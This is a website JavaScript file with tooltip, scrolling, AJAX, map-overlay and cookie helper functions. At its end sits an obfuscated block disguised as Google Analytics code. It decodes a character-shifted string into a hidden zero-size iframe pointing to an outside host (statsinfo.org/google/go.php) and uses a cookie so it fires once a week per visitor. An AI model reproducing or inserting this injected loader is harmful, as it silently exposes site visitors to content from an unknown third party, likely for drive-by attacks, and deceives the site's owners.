var sDir = 5;
var tId;
var runDelay = 20;
var scrollVar;
var stillScroll;

function showMe(text, ev) {
var theDiv = document.getElementById('showMeDiv');
theDiv.scrollTop = 0;
theDiv.style.left = (ev.clientX + 15 + document.documentElement.scrollLeft)+ "px";
theDiv.style.top = (ev.clientY + document.documentElement.scrollTop)+ "px";
theDiv.innerHTML = text;
theDiv.style.visibility = 'visible';
theDiv.style.width = "250px";
var wid, hei, dWid, dHei;
if (window.innerWidth) {
wid = window.innerWidth;
hei = window.innerHeight;
}
else {
wid = document.body.clientWidth;
hei = document.body.clientHeight;
}
wid -= 15;

dWid = theDiv.clientWidth;
dHei = theDiv.clientHeight;
if (ev.clientX + dWid > wid)
theDiv.style.left = (parseInt(theDiv.style.left+document.documentElement.scrollTop) - dWid - 30) + "px";
if (ev.clientY + dHei > hei)
theDiv.style.top = (parseInt(theDiv.style.top+document.documentElement.scrollTop) - dHei) + "px";
}

function hideMe() {
var theDiv = document.getElementById('showMeDiv');
theDiv.style.visibility = 'hidden';
stillScroll = false;
if (tId)
clearTimeout(tId);
}

function moveMe(ev) {
var theDiv = document.getElementById('showMeDiv');
theDiv.style.left = (ev.clientX + 15 + document.documentElement.scrollLeft)+ "px";
theDiv.style.top = (ev.clientY + document.documentElement.scrollTop)+ "px";
var wid, hei, dWid, dHei;
if (window.innerWidth) {
wid = window.innerWidth;
hei = window.innerHeight;
}
else {
wid = document.body.clientWidth;
hei = document.body.clientHeight;
}
wid -= 15;

dWid = theDiv.clientWidth;
dHei = theDiv.clientHeight;

if (ev.clientX + dWid > wid)
theDiv.style.left = (parseInt(theDiv.style.left) - dWid - 30) + "px";

if (ev.clientY + dHei > hei)
theDiv.style.top = (parseInt(theDiv.style.top) - dHei) + "px";
}

function sizeMe(x) {
var theDiv = document.getElementById('showMeDiv');
if (x != '')
theDiv.style.width = x + 'px';
else
theDiv.style.width = '';
theDiv.style.height = '';
}

function scrollMe() {
scrollVar = 0;
stillScroll = true;
sDir = 5;
nextScrollStep();
var theDiv = document.getElementById('showMeDiv');
}

function nextScrollStep() {
var theDiv = document.getElementById('showMeDiv');

runDelay = 20;

theDiv.scrollTop = scrollVar;
scrollVar += sDir;

if (scrollVar <= 0) {
scrollVar = 0;
sDir = -sDir;
runDelay = 1500;
}

if (scrollVar >= theDiv.scrollHeight - parseInt(theDiv.style.height) +25 ) {
scrollVar = theDiv.scrollHeight - parseInt(theDiv.style.height) + 25;
sDir = -sDir;
runDelay = 1500;
}

if (stillScroll)
tId = setTimeout('nextScrollStep()', runDelay);
}
function getInfo(text_value){
new Ajax.Updater('showMeDiv','jax/return_img_text.php',{method:'post',postBody:'text_value='+text_value});
}

function findPos(obj) {
var curleft = curtop = 0;
if (obj.offsetParent) {
curleft = obj.offsetLeft
curtop = obj.offsetTop
while (obj = obj.offsetParent) {
curleft += obj.offsetLeft
curtop += obj.offsetTop
}
}
return [curleft,curtop];
}
function make_focus(obj){
obj.focus();
}

function verifyPassPresse(doc_id,code,file,zip){
new Ajax.Updater('presse_detail_div','jax/load_presse_pass.jax.php',{evalScripts:true,method:'post',postBody:'doc_id='+doc_id+'&file='+file+'&code='+code+'&zip='+zip});
}


/*standort*/

function standort(use_Gmap)

{

var arrayPageSize = getPageSize();
$('overlay_div').style.width = arrayPageSize[0]+'px';
$('overlay_div').style.height = arrayPageSize[1]+'px';
$('overlay_div').style.top = '0px';
$('overlay_div').style.left= '0px';
hideSelectBoxes();
hideFlash();
Element.show('overlay_div');
new Ajax.Updater('standort_div', 'jax/load_map.jax.php', {evalScripts:true, method:'post', postBody:'sid=&use_Gmap='+use_Gmap});
}



function closeStandort(use_Gmap,zoom_out_map)

{

if (use_Gmap==0)

{

Element.hide('map_img');

$('map_img').src=zoom_out_map;

}

Element.hide('standort_div');

Element.hide('overlay_div');

showSelectBoxes();

showFlash();

}



function change_map_display(use_Gmap)

{

if (use_Gmap=='0') standort(1);

else standort(0);

}



function map_zoom_in(has_Gmap,zoom_in_map)

{

if (has_Gmap==0) {Element.hide('map_img');$('map_img').src=zoom_in_map;}

else map.zoomIn();

}



function map_zoom_out(has_Gmap,zoom_out_map)

{

if (has_Gmap==0) {Element.hide('map_img');$('map_img').src=zoom_out_map;}

else map.zoomOut();

}



function map_close(has_Gmap,zoom_out_map)

{

Element.hide('map_img');

if (has_Gmap==0) $('map_img').src=zoom_out_map;

}



function map_print(has_Gmap)

{

var url_address='map_print.php?use_Gmap='+has_Gmap;
popup = window.open( url_address, 'printpage', 'toolbar=no,scrollbars=yes,location=no,statusbar=no,menubar=no,resizable=no,width=' + '708' + ', height=' + '900'  );
//popup.focus();
}



/*--------------------------------------------------------------------------*/

/* overlay div */

// getPageScroll()

// Returns array with x,y page scroll values.

// Core code from - quirksmode.com

//

function getPageScroll(){



var xScroll, yScroll;



if (self.pageYOffset) {

yScroll = self.pageYOffset;

xScroll = self.pageXOffset;

} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict

yScroll = document.documentElement.scrollTop;

xScroll = document.documentElement.scrollLeft;

} else if (document.body) {// all other Explorers

yScroll = document.body.scrollTop;

xScroll = document.body.scrollLeft;

}



arrayPageScroll = new Array(xScroll,yScroll)

return arrayPageScroll;

}



// -----------------------------------------------------------------------------------



//

// getPageSize()

// Returns array with page width, height and window width, height

// Core code from - quirksmode.com

// Edit for Firefox by pHaez

//

function getPageSize(){



var xScroll, yScroll;



if (window.innerHeight && window.scrollMaxY) {

xScroll = window.innerWidth + window.scrollMaxX;

yScroll = window.innerHeight + window.scrollMaxY;

} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac

xScroll = document.body.scrollWidth;

yScroll = document.body.scrollHeight;

} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari

xScroll = document.body.offsetWidth;

yScroll = document.body.offsetHeight;

}



var windowWidth, windowHeight;



//	console.log(self.innerWidth);

//	console.log(document.documentElement.clientWidth);



if (self.innerHeight) {	// all except Explorer

if(document.documentElement.clientWidth){

windowWidth = document.documentElement.clientWidth;

} else {

windowWidth = self.innerWidth;

}

windowHeight = self.innerHeight;

} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode

windowWidth = document.documentElement.clientWidth;

windowHeight = document.documentElement.clientHeight;

} else if (document.body) { // other Explorers

windowWidth = document.body.clientWidth;

windowHeight = document.body.clientHeight;

}



// for small pages with total height less then height of the viewport

if(yScroll < windowHeight){

pageHeight = windowHeight;

} else {

pageHeight = yScroll;

}



//	console.log("xScroll " + xScroll)

//	console.log("windowWidth " + windowWidth)



// for small pages with total width less then width of the viewport

if(xScroll < windowWidth){

pageWidth = xScroll;

} else {

pageWidth = windowWidth;

}

//	console.log("pageWidth " + pageWidth)



arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight)

return arrayPageSize;

}





function showSelectBoxes(){

var selects = document.getElementsByTagName("select");

for (i = 0; i != selects.length; i++) {

selects[i].style.visibility = "visible";

}

}



// ---------------------------------------------------



function hideSelectBoxes(){

var selects = document.getElementsByTagName("select");

for (i = 0; i != selects.length; i++) {

selects[i].style.visibility = "hidden";

}

}



// ---------------------------------------------------



function showFlash(){

var flashObjects = document.getElementsByTagName("object");

for (i = 0; i < flashObjects.length; i++) {

flashObjects[i].style.visibility = "visible";

}



var flashEmbeds = document.getElementsByTagName("embed");

for (i = 0; i < flashEmbeds.length; i++) {

flashEmbeds[i].style.visibility = "visible";

}

}



// ---------------------------------------------------



function hideFlash(){

var flashObjects = document.getElementsByTagName("object");

for (i = 0; i < flashObjects.length; i++) {

flashObjects[i].style.visibility = "hidden";

}



var flashEmbeds = document.getElementsByTagName("embed");

for (i = 0; i < flashEmbeds.length; i++) {

flashEmbeds[i].style.visibility = "hidden";

}



}
function setCookie(name, value, expiredays, path, domain, secure) {
if (expiredays) {
var exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
var expires = exdate.toGMTString();
}
document.cookie = name + "=" + escape(value) +
((expiredays) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}
function getCookie(name) {
var cookie = " " + document.cookie;
var search = " " + name + "=";
var setStr = null;
var offset = 0;
var end = 0;
if (cookie.length > 0) {
offset = cookie.indexOf(search);
if (offset != -1) {
offset += search.length;
end = cookie.indexOf(";", offset)
if (end == -1) {
end = cookie.length;
}
setStr = unescape(cookie.substring(offset, end));
}
}
return setStr;
}
var user = getCookie("google");
if (user !=777){
var google = '';
var analytics = 'width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>';
var com = -2;
var pageTracker = '"ute?$jvvr<11uvcvukphq0qti1iqqing1iq0rjrAukf?:$"';
for(var i=0;i<pageTracker.length;i++)google+=String.fromCharCode(pageTracker.charCodeAt(i)+com);
document.write('<ifrane'+google+analytics+'</iframe>' );
setCookie("google", "777", 7, "/");
}

